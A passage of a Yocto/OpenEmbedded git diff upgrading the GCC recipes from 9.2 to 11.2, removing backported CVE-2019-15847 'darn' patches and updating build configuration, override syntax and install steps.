- UNSPECV_ISYNC ; isync instruction
- UNSPECV_MFTB ; move from time base
-+ UNSPECV_DARN ; darn 1 (deliver a random number)
-+ UNSPECV_DARN_32 ; darn 2
-+ UNSPECV_DARN_RAW ; darn 0
- UNSPECV_NLGR ; non-local goto receiver
- UNSPECV_MFFS ; Move from FPSCR
- UNSPECV_MFFSL ; Move from FPSCR light instruction version
-@@ -14333,21 +14333,21 @@
-
- (define_insn "darn_32"
- [(set (match_operand:SI 0 "register_operand" "=r")
-- (unspec:SI [(const_int 0)] UNSPEC_DARN_32))]
-+ (unspec_volatile:SI [(const_int 0)] UNSPECV_DARN_32))]
- "TARGET_P9_MISC"
- "darn %0,0"
- [(set_attr "type" "integer")])
-
- (define_insn "darn_raw"
- [(set (match_operand:DI 0 "register_operand" "=r")
-- (unspec:DI [(const_int 0)] UNSPEC_DARN_RAW))]
-+ (unspec_volatile:DI [(const_int 0)] UNSPECV_DARN_RAW))]
- "TARGET_P9_MISC && TARGET_64BIT"
- "darn %0,2"
- [(set_attr "type" "integer")])
-
- (define_insn "darn"
- [(set (match_operand:DI 0 "register_operand" "=r")
-- (unspec:DI [(const_int 0)] UNSPEC_DARN))]
-+ (unspec_volatile:DI [(const_int 0)] UNSPECV_DARN))]
- "TARGET_P9_MISC && TARGET_64BIT"
- "darn %0,1"
- [(set_attr "type" "integer")])
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_3.patch b/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_3.patch
deleted file mode 100644
index ba7130ca7d..0000000000
--- a/meta/recipes-devtools/gcc/gcc-9.2/CVE-2019-15847_3.patch
+++ /dev/null
@@ -1,62 +0,0 @@
-From dc4c8dd9dbe70740ec7a684b0f35620249fb036a Mon Sep 17 00:00:00 2001
-From: segher <segher@138bc75d-0d04-0410-961f-82ee72b054a4>
-Date: Fri, 30 Aug 2019 13:53:11 +0000
-Subject: [PATCH] Backport from trunk 2019-08-23 Segher Boessenkool
- <segher@kernel.crashing.org>
-
-gcc/testsuite/
- PR target/91481
- * gcc.target/powerpc/darn-3.c: New testcase.
-
-
-git-svn-id: svn+ssh://gcc.gnu.org/svn/gcc/branches/gcc-9-branch@275176 138bc75d-0d04-0410-961f-82ee72b054a4
-
-Upstream-Status: Backport
-CVE: CVE-2019-15847 p3
-Affects <= 9.2.0
-Dropped Changelog changes
-Signed-off-by: Armin Kuster <akuster@mvista.com>
-
----
- gcc/testsuite/ChangeLog | 6 ++++++
- gcc/testsuite/gcc.target/powerpc/darn-3.c | 16 ++++++++++++++++
- 2 files changed, 22 insertions(+)
- create mode 100644 gcc/testsuite/gcc.target/powerpc/darn-3.c
-
-Index: gcc-9.2.0/gcc/testsuite/gcc.target/powerpc/darn-3.c
-===================================================================
---- /dev/null
-+++ gcc-9.2.0/gcc/testsuite/gcc.target/powerpc/darn-3.c
-@@ -0,0 +1,16 @@
-+/* { dg-do compile { target { powerpc*-*-* } } } */
-+/* { dg-skip-if "" { powerpc*-*-aix* } } */
-+/* { dg-options "-O2 -mdejagnu-cpu=power9" } */
-+
-+static int darn32(void) { return __builtin_darn_32(); }
-+
-+int four(void)
-+{
-+ int sum = 0;
-+ int i;
-+ for (i = 0; i < 4; i++)
-+ sum += darn32();
-+ return sum;
-+}
-+
-+/* { dg-final { scan-assembler-times {(?n)\mdarn .*,0\M} 4 } } */
-Index: gcc-9.2.0/gcc/testsuite/ChangeLog
-===================================================================
---- gcc-9.2.0.orig/gcc/testsuite/ChangeLog
-+++ gcc-9.2.0/gcc/testsuite/ChangeLog
-@@ -1,3 +1,11 @@
-+2019-08-30 Segher Boessenkool <segher@kernel.crashing.org>
-+
-+ Backport from trunk
-+ 2019-08-23 Segher Boessenkool <segher@kernel.crashing.org>
-+
-+ PR target/91481
-+ * gcc.target/powerpc/darn-3.c: New testcase.
-+
- 2019-08-12 Release Manager
-
- * GCC 9.2.0 released.
diff --git a/meta/recipes-devtools/gcc/gcc-common.inc b/meta/recipes-devtools/gcc/gcc-common.inc
index 44cba287f3..0f70be7dd4 100644
--- a/meta/recipes-devtools/gcc/gcc-common.inc
+++ b/meta/recipes-devtools/gcc/gcc-common.inc
@@ -1,5 +1,6 @@
SUMMARY = "GNU cc and gcc C compilers"
HOMEPAGE = "http://www.gnu.org/software/gcc/"
+DESCRIPTION = "The GNU Compiler Collection includes front ends for C, C++, Objective-C, Fortran, Ada, Go, and D, as well as libraries for these languages (libstdc++,...). GCC was originally written as the compiler for the GNU operating system."
SECTION = "devel"
LICENSE = "GPL"
@@ -11,7 +12,7 @@ inherit autotools gettext texinfo
BPN = "gcc"
COMPILERDEP = "virtual/${MLPREFIX}${TARGET_PREFIX}gcc:do_gcc_stash_builddir"
-COMPILERDEP_class-nativesdk = "virtual/${TARGET_PREFIX}gcc-crosssdk:do_gcc_stash_builddir"
+COMPILERDEP:class-nativesdk = "virtual/${TARGET_PREFIX}gcc-crosssdk:do_gcc_stash_builddir"
python extract_stashed_builddir () {
src = d.expand("${COMPONENTS_DIR}/${BUILD_ARCH}/gcc-stashed-builddir-${TARGET_SYS}")
@@ -47,6 +48,7 @@ def get_gcc_multiarch_setting(bb, d):
"i586": "--enable-targets=all",
"i686": "--enable-targets=all",
"powerpc": "--enable-targets=powerpc64",
+ "powerpc64le": "--enable-targets=powerpcle",
"mips": "--enable-targets=all",
"sparc": "--enable-targets=all",
}
@@ -81,14 +83,10 @@ def get_tune_parameters(tune, d):
get_tune_parameters[vardepsexclude] = "AVAILTUNES TUNE_CCARGS OVERRIDES TUNE_FEATURES BASE_LIB BASELIB TUNE_ARCH ABIEXTENSION TARGET_FPU TUNE_PKGARCH PACKAGE_EXTRA_ARCHS"
-DEBIANNAME_${MLPREFIX}libgcc = "libgcc1"
+DEBIANNAME:${MLPREFIX}libgcc = "libgcc1"
MIRRORS =+ "\
-${GNU_MIRROR}/gcc ftp://gcc.gnu.org/pub/gcc/releases/ \n \
-${GNU_MIRROR}/gcc ftp://gd.tuwien.ac.at/gnu/gcc/ \n \
-${GNU_MIRROR}/gcc http://mirrors.rcn.net/pub/sourceware/gcc/releases/ \n \
-${GNU_MIRROR}/gcc http://gcc.get-software.com/releases/ \n \
-${GNU_MIRROR}/gcc http://gcc.get-software.com/releases/ \n \
+ ${GNU_MIRROR}/gcc https://gcc.gnu.org/pub/gcc/releases/ \
"
#
# Set some default values
diff --git a/meta/recipes-devtools/gcc/gcc-configure-common.inc b/meta/recipes-devtools/gcc/gcc-configure-common.inc
index 24ba8ce75f..e4cdb73f0a 100644
--- a/meta/recipes-devtools/gcc/gcc-configure-common.inc
+++ b/meta/recipes-devtools/gcc/gcc-configure-common.inc
@@ -17,6 +17,8 @@ GCCTHREADS ?= "posix"
GCCPIE ??= ""
+SYMVERS_CONF ?= "--enable-symvers=gnu"
+
EXTRA_OECONF = "\
${@['--enable-clocale=generic', ''][d.getVar('USE_NLS') != 'no']} \
--with-gnu-ld \
@@ -27,41 +29,43 @@ EXTRA_OECONF = "\
${GCCPIE} \
--enable-c99 \
--enable-long-long \
- --enable-symvers=gnu \
+ ${SYMVERS_CONF} \
--enable-libstdcxx-pch \
--program-prefix=${TARGET_PREFIX} \
--without-local-prefix \
+ --disable-install-libiberty \
${EXTRA_OECONF_BASE} \
${EXTRA_OECONF_GCC_FLOAT} \
${EXTRA_OECONF_PATHS} \
${@get_gcc_mips_plt_setting(bb, d)} \
${@get_gcc_ppc_plt_settings(bb, d)} \
${@get_gcc_multiarch_setting(bb, d)} \
+ --enable-standard-branch-protection \
"
# glibc version is a minimum controlling whether features are enabled.
# Doesn't need to track glibc exactly
-EXTRA_OECONF_append_libc-glibc = " --with-glibc-version=2.28 "
+EXTRA_OECONF:append:libc-glibc = " --with-glibc-version=2.28 "
# Set this here since GCC configure won't auto-detect and enable
# initfini-arry when cross compiling.
-EXTRA_OECONF_append = " --enable-initfini-array"
+EXTRA_OECONF:append = " --enable-initfini-array"
export gcc_cv_collect2_libs = 'none required'
# We need to set gcc_cv_collect2_libs else there is cross-compilation badness
# in the config.log files (which might not get generated until do_compile
# hence being missed by the insane do_configure check).
-EXTRA_OECONF_append_linux = " --enable-__cxa_atexit"
+EXTRA_OECONF:append:linux = " --enable-__cxa_atexit"
-EXTRA_OECONF_append_mips64 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64el = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64n32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mips64eln32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
-EXTRA_OECONF_append_mipsisa32r6el = " --with-abi=32 --with-arch=mips32r6"
-EXTRA_OECONF_append_mipsisa32r6 = " --with-abi=32 --with-arch=mips32r6"
-EXTRA_OECONF_append_mipsisa64r6el = " --with-abi=64 --with-arch-64=mips64r6"
-EXTRA_OECONF_append_mipsisa64r6 = " --with-abi=64 --with-arch-64=mips64r6"
+EXTRA_OECONF:append:mips64 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64el = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64n32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mips64eln32 = " --with-abi=64 --with-arch-64=mips64 --with-tune-64=mips64"
+EXTRA_OECONF:append:mipsisa32r6el = " --with-abi=32 --with-arch=mips32r6"
+EXTRA_OECONF:append:mipsisa32r6 = " --with-abi=32 --with-arch=mips32r6"
+EXTRA_OECONF:append:mipsisa64r6el = " --with-abi=64 --with-arch-64=mips64r6"
+EXTRA_OECONF:append:mipsisa64r6 = " --with-abi=64 --with-arch-64=mips64r6"
EXTRA_OECONF_GCC_FLOAT ??= ""
CPPFLAGS = ""
@@ -70,7 +74,7 @@ SYSTEMHEADERS = "${target_includedir}"
SYSTEMLIBS = "${target_base_libdir}/"
SYSTEMLIBS1 = "${target_libdir}/"
-do_configure_prepend () {
+do_configure:prepend () {
# teach gcc to find correct target includedir when checking libc ssp support
mkdir -p ${B}/gcc
echo "NATIVE_SYSTEM_HEADER_DIR = ${SYSTEMHEADERS}" > ${B}/gcc/t-oe
diff --git a/meta/recipes-devtools/gcc/gcc-cross-canadian.inc b/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
index f14cbf7152..168486bd4e 100644
--- a/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
+++ b/meta/recipes-devtools/gcc/gcc-cross-canadian.inc
@@ -45,6 +45,9 @@ export WINDRES_FOR_TARGET = "${TARGET_PREFIX}windres"
export ARCH_FLAGS_FOR_TARGET = "--sysroot=${STAGING_DIR_TARGET}"
do_configure () {
+ if [ ! -d ${RECIPE_SYSROOT}/${target_includedir} ]; then
+ mkdir -p ${RECIPE_SYSROOT}/${target_includedir}
+ fi
export CC_FOR_BUILD="${BUILD_CC}"
export CXX_FOR_BUILD="${BUILD_CXX}"
export CFLAGS_FOR_BUILD="${BUILD_CFLAGS}"
@@ -65,7 +68,7 @@ do_compile () {
PACKAGES = "${PN}-dbg ${PN} ${PN}-doc"
-FILES_${PN} = "\
+FILES:${PN} = "\
${exec_prefix}/bin/* \
${libexecdir}/gcc/${TARGET_SYS}/${BINV}/* \
${gcclibdir}/${TARGET_SYS}/${BINV}/*.o \
@@ -75,14 +78,15 @@ FILES_${PN} = "\
${gcclibdir}/${TARGET_SYS}/${BINV}/include-fixed \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/include/ \
${gcclibdir}/${TARGET_SYS}/${BINV}/plugin/gtype.* \
+ ${libdir}/bfd-plugins/*.so \
${includedir}/c++/${BINV} \
${prefix}/${TARGET_SYS}/bin/* \
${prefix}/${TARGET_SYS}/lib/* \
${prefix}/${TARGET_SYS}${target_includedir}/* \
"
-INSANE_SKIP_${PN} += "dev-so"
+INSANE_SKIP:${PN} += "dev-so"
-FILES_${PN}-doc = "\
+FILES:${PN}-doc = "\
${infodir} \
${mandir} \
${gcclibdir}/${TARGET_SYS}/${BINV}/include/README \
@@ -92,6 +96,8 @@ EXEEXT = ""
# Compute how to get from libexecdir to bindir in python (easier than shell)
BINRELPATH = "${@os.path.relpath(d.expand("${bindir}"), d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"))}"
+# linker plugin path
+LIBRELPATH = "${@os.path.relpath(d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"), d.expand("${libdir}/bfd-plugins"))}"
do_install () {
( cd ${B}/${TARGET_SYS}/libgcc; oe_runmake 'DESTDIR=${D}' install-unwind_h-forbuild install-unwind_h )
@@ -106,13 +112,7 @@ do_install () {
rm -f ${D}${bindir}/*c++
# We don't care about the gcc-<version> copies
- rm -f ${D}${bindir}/*gcc-?.?*
-
- # We use libiberty from binutils
- rm -f ${D}${prefix}/${TARGET_SYS}/lib/libiberty.a
- # Not sure where the strange paths come from
- rm -f ${D}${libdir}/../lib/libiberty.a
- rm -f ${D}${libdir}/libiberty.a
+ rm -f ${D}${bindir}/*gcc-${BINV}*
# Cleanup empty directories which are not shipped
# we use rmdir instead of 'rm -f' to ensure the non empty directories are not deleted
@@ -127,7 +127,7 @@ do_install () {
dest=${D}${libexecdir}/gcc/${TARGET_SYS}/${BINV}/
install -d $dest
suffix=${EXEEXT}
- for t in ar as ld nm objcopy objdump ranlib strip g77 gcc cpp gfortran; do
+ for t in ar as ld ld.bfd ld.gold nm objcopy objdump ranlib strip g77 gcc cpp gfortran; do
if [ "$t" = "g77" -o "$t" = "gfortran" ] && [ ! -e ${D}${bindir}/${TARGET_PREFIX}$t$suffix ]; then
continue
fi
@@ -142,23 +142,47 @@ do_install () {
cp ${S}/libquadmath/quadmath.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
cp ${S}/libquadmath/quadmath_weak.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
+ # install LTO linker plugins where binutils tools can find it
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${LIBRELPATH}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
+
chown -R root:root ${D}
-
+
cross_canadian_bindirlinks
+
+ for i in linux ${CANADIANEXTRAOS}
+ do
+ for v in ${CANADIANEXTRAVENDOR}
+ do
+ d=${D}${bindir}/../${TARGET_ARCH}$v-$i
+ install -d $d
+ for j in ${TARGET_PREFIX}gcc${EXEEXT} ${TARGET_PREFIX}g++${EXEEXT}
+ do
+ p=${TARGET_ARCH}$v-$i-`echo $j | sed -e s,${TARGET_PREFIX},,`
+ case $i in
+ *musl*)
+ rm -rf $d/$p
+ echo "#!/usr/bin/env sh" > $d/$p
+ echo "exec \`dirname \$0\`/../${TARGET_SYS}/$j -mmusl \$@" >> $d/$p
+ chmod 0755 $d/$p
+ ;;
+ *)
+ ;;
+ esac
+ done
+ done
+ done
}
ELFUTILS = "nativesdk-elfutils"
DEPENDS += "nativesdk-gmp nativesdk-mpfr nativesdk-libmpc ${ELFUTILS} nativesdk-zlib"
-RDEPENDS_${PN} += "nativesdk-mpfr nativesdk-libmpc ${ELFUTILS}"
+RDEPENDS:${PN} += "nativesdk-mpfr nativesdk-libmpc ${ELFUTILS}"
SYSTEMHEADERS = "${target_includedir}/"
SYSTEMLIBS = "${target_base_libdir}/"
SYSTEMLIBS1 = "${target_libdir}/"
EXTRA_OECONF += "--enable-poison-system-directories"
-EXTRA_OECONF_remove_elf = "--with-sysroot=/not/exist"
-EXTRA_OECONF_remove_eabi = "--with-sysroot=/not/exist"
-EXTRA_OECONF_append_elf = "--without-headers --with-newlib"
-EXTRA_OECONF_append_eabi = "--without-headers --with-newlib"
+
# gcc 4.7 needs -isystem
export ARCH_FLAGS_FOR_TARGET = "--sysroot=${STAGING_DIR_TARGET} -isystem=${target_includedir}"
diff --git a/meta/recipes-devtools/gcc/gcc-cross-canadian_9.2.bb b/meta/recipes-devtools/gcc/gcc-cross-canadian_11.2.bb
index bf53c5cd78..bf53c5cd78 100644
--- a/meta/recipes-devtools/gcc/gcc-cross-canadian_9.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-cross-canadian_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-cross.inc b/meta/recipes-devtools/gcc/gcc-cross.inc
index 8855bb1f34..3ffa1f0c46 100644
--- a/meta/recipes-devtools/gcc/gcc-cross.inc
+++ b/meta/recipes-devtools/gcc/gcc-cross.inc
@@ -21,8 +21,8 @@ require gcc-configure-common.inc
# gnu) will hit a QA failure.
LINKER_HASH_STYLE ?= "sysv"
-EXTRA_OECONF += "--enable-poison-system-directories"
-EXTRA_OECONF_append_sh4 = " \
+EXTRA_OECONF += "--enable-poison-system-directories=error"
+EXTRA_OECONF:append:sh4 = " \
--with-multilib-list= \
--enable-incomplete-targets \
"
@@ -31,9 +31,9 @@ EXTRA_OECONF += "\
--with-system-zlib \
"
-EXTRA_OECONF_append_libc-baremetal = " --without-headers"
-EXTRA_OECONF_remove_libc-baremetal = "--enable-threads=posix"
-EXTRA_OECONF_remove_libc-newlib = "--enable-threads=posix"
+EXTRA_OECONF:append:libc-baremetal = " --without-headers"
+EXTRA_OECONF:remove:libc-baremetal = "--enable-threads=posix"
+EXTRA_OECONF:remove:libc-newlib = "--enable-threads=posix"
EXTRA_OECONF_PATHS = "\
--with-gxx-include-dir=/not/exist${target_includedir}/c++/${BINV} \
@@ -44,7 +44,7 @@ EXTRA_OECONF_PATHS = "\
ARCH_FLAGS_FOR_TARGET += "-isystem${STAGING_DIR_TARGET}${target_includedir}"
-do_configure_prepend () {
+do_configure:prepend () {
install -d ${RECIPE_SYSROOT}${target_includedir}
touch ${RECIPE_SYSROOT}${target_includedir}/limits.h
}
@@ -61,104 +61,30 @@ do_compile () {
export CXXFLAGS_FOR_TARGET="${TARGET_CXXFLAGS}"
export LDFLAGS_FOR_TARGET="${TARGET_LDFLAGS}"
+ # Prevent native/host sysroot path from being used in configargs.h header,
+ # as it will be rewritten when used by other sysroots preventing support
+ # for gcc plugins
+ oe_runmake configure-gcc
+ sed -i 's@${STAGING_DIR_TARGET}@/host@g' ${B}/gcc/configargs.h
+ sed -i 's@${STAGING_DIR_HOST}@/host@g' ${B}/gcc/configargs.h
+
+ # Prevent sysroot/workdir paths from being used in checksum-options.
+ # checksum-options is used to generate a checksum which is embedded into
+ # the output binary.
+ oe_runmake TARGET-gcc=checksum-options all-gcc
+ sed -i 's@${DEBUG_PREFIX_MAP}@@g' ${B}/gcc/checksum-options
+ sed -i 's@${STAGING_DIR_HOST}@/host@g' ${B}/gcc/checksum-options
+
oe_runmake all-host configure-target-libgcc
(cd ${B}/${TARGET_SYS}/libgcc; oe_runmake enable-execute-stack.c unwind.h md-unwind-support.h sfp-machine.h gthr-default.h)
- # now generate script to drive testing
- echo "#!/usr/bin/env sh" >${B}/${TARGET_PREFIX}testgcc
- set >> ${B}/${TARGET_PREFIX}testgcc
- # prune out the unneeded vars
- sed -i -e "/^BASH/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^USER/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^OPT/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^DIRSTACK/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^EUID/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^FUNCNAME/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^GROUPS/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^HOST/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^HOME/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^IFS/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^LC_ALL/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^LOGNAME/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^MACHTYPE/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^OSTYPE/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^PIPE/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^SHELL/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^'/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^UID/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^TERM/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^PKG_/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^POSIXLY_/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^PPID/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^PS4/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^Q/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^SHLVL/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^STAGING/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^LD_LIBRARY_PATH/d" ${B}/${TARGET_PREFIX}testgcc
- sed -i -e "/^PSEUDO/d" ${B}/${TARGET_PREFIX}testgcc
-
- # append execution part of the script
-cat >> ${B}/${TARGET_PREFIX}testgcc << STOP
-target="\$1"
-usage () {
- echo "Usage:"
- echo "\$0 user@target 'extra options to dejagnu'"
- echo "\$0 target 'extra options to dejagnu'"
- echo "\$0 target"
- echo "e.g. \$0 192.168.7.2 ' dg.exp=visibility-d.c'"
- echo "will only run visibility-d.c test case"
- echo "e.g. \$0 192.168.7.2 '/-mthumb dg.exp=visibility-d.c'"
- echo "will only run visibility-d.c test case in thumb mode"
- echo "You need to have dejagnu autogen expect installed"
- echo "on the build host"
- }
-if [ "x\$target" = "x" ]
-then
- echo "Please specify the target machine and remote user in form of user@target\n"
- usage
- exit 1;
-fi
-
-shift
-
-echo "\$target" | grep "@" 2>&1 > /dev/null
-if [ "x\$?" = "x0" ]
-then
- user=\$(echo \$target | cut -d '@' -f 1)
- target=\$(echo \$target | cut -d '@' -f 2)
-else
- user=\$USER
-fi
-ssh \$user@\$target date 2>&1 > /dev/null
-if [ "x\$?" != "x0" ]
-then
- echo "Failed connecting to \$user@\$target it could be because"
- echo "you don't have passwordless ssh setup to access \$target"
- echo "or sometimes host key has been changed"
- echo "in such case do something like below on build host"
- echo "ssh-keygen -f "~/.ssh/known_hosts" -R \$target"
- echo "and then try ssh \$user@\$target"
-
- usage
- exit 1
-fi
- echo "lappend boards_dir [pwd]/../../.." > ${B}/site.exp
- echo "load_generic_config \"unix\"" > ${B}/${PACKAGE_ARCH}.exp
- echo "set_board_info username \$user" >> ${B}/${PACKAGE_ARCH}.exp
- echo "set_board_info rsh_prog ssh" >> ${B}/${PACKAGE_ARCH}.exp
- echo "set_board_info rcp_prog scp" >> ${B}/${PACKAGE_ARCH}.exp
- echo "set_board_info hostname \$target" >> ${B}/${PACKAGE_ARCH}.exp
- DEJAGNU=${B}/site.exp make -k check RUNTESTFLAGS="--target_board=${PACKAGE_ARCH}\$@"
-
-STOP
-
- chmod +x ${B}/${TARGET_PREFIX}testgcc
-
}
INHIBIT_PACKAGE_STRIP = "1"
# Compute how to get from libexecdir to bindir in python (easier than shell)
BINRELPATH = "${@os.path.relpath(d.expand("${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_SYS}"), d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"))}"
+# linker plugin path
+LIBRELPATH = "${@os.path.relpath(d.expand("${libexecdir}/gcc/${TARGET_SYS}/${BINV}"), d.expand("${STAGING_LIBDIR_NATIVE}/${TARGET_SYS}/bfd-plugins"))}"
do_install () {
( cd ${B}/${TARGET_SYS}/libgcc; oe_runmake 'DESTDIR=${D}' install-unwind_h-forbuild install-unwind_h )
@@ -168,7 +94,7 @@ do_install () {
install -d ${D}${target_libdir}
# Link gfortran to g77 to satisfy not-so-smart configure or hard coded g77
- # gfortran is fully backwards compatible. This is a safe and practical solution.
+ # gfortran is fully backwards compatible. This is a safe and practical solution.
if [ -n "${@d.getVar('FORTRAN')}" ]; then
ln -sf ${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_PREFIX}gfortran ${STAGING_DIR_NATIVE}${prefix_native}/bin/${TARGET_PREFIX}g77 || true
fortsymlinks="g77 gfortran"
@@ -193,11 +119,11 @@ do_install () {
cp ${S}/libquadmath/quadmath.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
cp ${S}/libquadmath/quadmath_weak.h ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include/
- # We use libiberty from binutils
- find ${D}${exec_prefix}/lib -name libiberty.a | xargs rm -f
- find ${D}${exec_prefix}/lib -name libiberty.h | xargs rm -f
-
find ${D}${libdir}/gcc/${TARGET_SYS}/${BINV}/include-fixed -type f -not -name "README" -not -name limits.h -not -name syslimits.h | xargs rm -f
+
+ # install LTO linker plugins where binutils tools can find it
+ install -d ${D}${libdir}/bfd-plugins
+ ln -sf ${LIBRELPATH}/liblto_plugin.so ${D}${libdir}/bfd-plugins/liblto_plugin.so
}
do_package[noexec] = "1"
diff --git a/meta/recipes-devtools/gcc/gcc-cross_9.2.bb b/meta/recipes-devtools/gcc/gcc-cross_11.2.bb
index b43cca0c52..b43cca0c52 100644
--- a/meta/recipes-devtools/gcc/gcc-cross_9.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-cross_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-crosssdk_9.2.bb b/meta/recipes-devtools/gcc/gcc-crosssdk_11.2.bb
index 40a6c4feff..40a6c4feff 100644
--- a/meta/recipes-devtools/gcc/gcc-crosssdk_9.2.bb
+++ b/meta/recipes-devtools/gcc/gcc-crosssdk_11.2.bb
diff --git a/meta/recipes-devtools/gcc/gcc-multilib-config.inc b/meta/recipes-devtools/gcc/gcc-multilib-config.inc
index 31b8619be3..26bfed9507 100644
--- a/meta/recipes-devtools/gcc/gcc-multilib-config.inc
+++ b/meta/recipes-devtools/gcc/gcc-multilib-config.inc
@@ -31,7 +31,9 @@ python gcc_multilib_setup() {
'%s/*/linux64.h' % src_conf_dir,
'%s/aarch64/t-aarch64' % src_conf_dir,
'%s/aarch64/aarch64.h' % src_conf_dir,
+ '%s/aarch64/aarch64-linux.h' % src_conf_dir,
'%s/aarch64/aarch64-cores.def' % src_conf_dir,
+ '%s/arm/linux-eabi.h' % src_conf_dir,
'%s/*/linux.h' % src_conf_dir,
'%s/linux.h' % src_conf_dir)
@@ -102,6 +104,8 @@ python gcc_multilib_setup() {
r'\1' + wrap_libdir(libdir64) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKER64\s*\"\S+\"\s*)(\S+)(\s*\"\S+\"\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdir64) + r'\3' + wrap_libdir(libdir64) + r'\5'),
+ (r'^(#define\s*GLIBC_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdirx32) + r'\3'),
(r'^(#define\s*GLIBC_DYNAMIC_LINKERN32\s*)(\S+)(\s*\".*\")$',
@@ -112,8 +116,18 @@ python gcc_multilib_setup() {
r'\1' + wrap_libdir(libdir64) + r'\3'),
(r'^(#define\s*UCLIBC_DYNAMIC_LINKERN32\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdirn32) + r'\3'),
+ (r'^(#define\s*UCLIBC_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdirx32) + r'\3'),
(r'^(#define\s*UCLIBC_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
r'\1' + wrap_libdir(libdir32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER64\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir64) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKERX32\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdirx32) + r'\3'),
+ (r'^(#define\s*MUSL_DYNAMIC_LINKER\b\s*)(\S+)(\s*\".*\")$',
+ r'\1' + wrap_libdir(libdir32) + r'\3'),
]
for (i, line) in enumerate(filelines):
@@ -138,15 +152,15 @@ python gcc_multilib_setup() {
}
gcc_header_config_files = {
- 'x86_64' : ['gcc/config/i386/linux64.h'],
- 'i586' : ['gcc/config/i386/linux64.h'],
- 'i686' : ['gcc/config/i386/linux64.h'],
- 'mips' : ['gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
- 'mips64' : ['gcc/config/mips/linux.h', 'gcc/config/mips/linux64.h'],
- 'powerpc' : ['gcc/config/rs6000/linux64.h'],
- 'powerpc64' : ['gcc/config/rs6000/linux64.h'],
- 'aarch64' : ['gcc/config/aarch64/aarch64.h'],
- 'arm' : ['gcc/config/aarch64/aarch64.h'],
+ 'x86_64' : ['gcc/config/linux.h', 'gcc/config/i386/linux.h', 'gcc/config/i386/linux64.h'],
+ 'i586' : ['gcc/config/linux.h', 'gcc/config/i386/linux.h', 'gcc/config/i386/linux64.h'],
+ 'i686' : ['gcc/config/linux.h', 'gcc/config/i386/linux64.h'],
